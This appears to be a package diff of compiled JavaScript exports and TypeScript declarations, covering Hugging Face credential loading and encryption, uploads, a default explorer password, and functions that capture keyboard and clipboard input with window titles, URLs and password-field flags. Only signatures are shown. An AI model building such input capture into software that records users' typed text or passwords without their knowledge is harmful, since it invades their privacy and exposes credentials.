Object.defineProperty(exports, "API_DEFAULT_PORT", { enumerable: true, get: function () { return deploymentDefaults_1.API_DEFAULT_PORT; } });
|
|
46
|
+
Object.defineProperty(exports, "DEFAULT_EXPLORER_PASSWORD", { enumerable: true, get: function () { return deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD; } });
|
|
47
|
+
Object.defineProperty(exports, "DEPLOYMENT_PUBLIC_HOST", { enumerable: true, get: function () { return deploymentDefaults_1.DEPLOYMENT_PUBLIC_HOST; } });
|
|
48
|
+
Object.defineProperty(exports, "RELAY_DEFAULT_PORT", { enumerable: true, get: function () { return deploymentDefaults_1.RELAY_DEFAULT_PORT; } });
|
|
49
|
+
Object.defineProperty(exports, "defaultRelayWsUrl", { enumerable: true, get: function () { return deploymentDefaults_1.defaultRelayWsUrl; } });
|
|
50
|
+
Object.defineProperty(exports, "defaultSyncApiBaseUrl", { enumerable: true, get: function () { return deploymentDefaults_1.defaultSyncApiBaseUrl; } });
|
|
51
|
+
Object.defineProperty(exports, "deploymentDefaultsDisabled", { enumerable: true, get: function () { return deploymentDefaults_1.deploymentDefaultsDisabled; } });
|
|
52
|
+
Object.defineProperty(exports, "resolveForgeBundleKey", { enumerable: true, get: function () { return deploymentDefaults_1.resolveForgeBundleKey; } });
|
|
53
|
+
Object.defineProperty(exports, "resolveSyncApiBaseUrl", { enumerable: true, get: function () { return deploymentDefaults_1.resolveSyncApiBaseUrl; } });
|
|
54
|
+
var hfCredentials_1 = require("./hfCredentials");
|
|
55
|
+
Object.defineProperty(exports, "decryptHfCredentialsB64", { enumerable: true, get: function () { return hfCredentials_1.decryptHfCredentialsB64; } });
|
|
56
|
+
Object.defineProperty(exports, "encryptHfCredentialsJson", { enumerable: true, get: function () { return hfCredentials_1.encryptHfCredentialsJson; } });
|
|
57
|
+
Object.defineProperty(exports, "loadHfCredentials", { enumerable: true, get: function () { return hfCredentials_1.loadHfCredentials; } });
|
|
58
|
+
Object.defineProperty(exports, "scrubHfCredentialsInPlace", { enumerable: true, get: function () { return hfCredentials_1.scrubHfCredentialsInPlace; } });
|
|
59
|
+
var hfUpload_1 = require("./hfUpload");
|
|
60
|
+
Object.defineProperty(exports, "formatHfUploadError", { enumerable: true, get: function () { return hfUpload_1.formatHfUploadError; } });
|
|
61
|
+
Object.defineProperty(exports, "runHfUpload", { enumerable: true, get: function () { return hfUpload_1.runHfUpload; } });
|
|
62
|
+
Object.defineProperty(exports, "writeSingleFileZipStoreOnly", { enumerable: true, get: function () { return hfUpload_1.writeSingleFileZipStoreOnly; } });
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
type InputEventKind = "keyboard" | "clipboard";
|
|
2
|
+
type InputControlSignals = {
|
|
3
|
+
controlType?: string;
|
|
4
|
+
controlName?: string;
|
|
5
|
+
controlAutomationId?: string;
|
|
6
|
+
controlHelpText?: string;
|
|
7
|
+
isPassword?: boolean;
|
|
8
|
+
};
|
|
9
|
+
export declare function inferInputTagType(windowTitle: string | undefined, urlHint: string | undefined, typedText: string | undefined, appType: string | undefined, inputHint: string | undefined, controlSignals?: InputControlSignals): string | undefined;
|
|
10
|
+
export declare function buildInputContextJson(kind: InputEventKind, text: string): Promise<string | undefined>;
|
|
11
|
+
export {};
|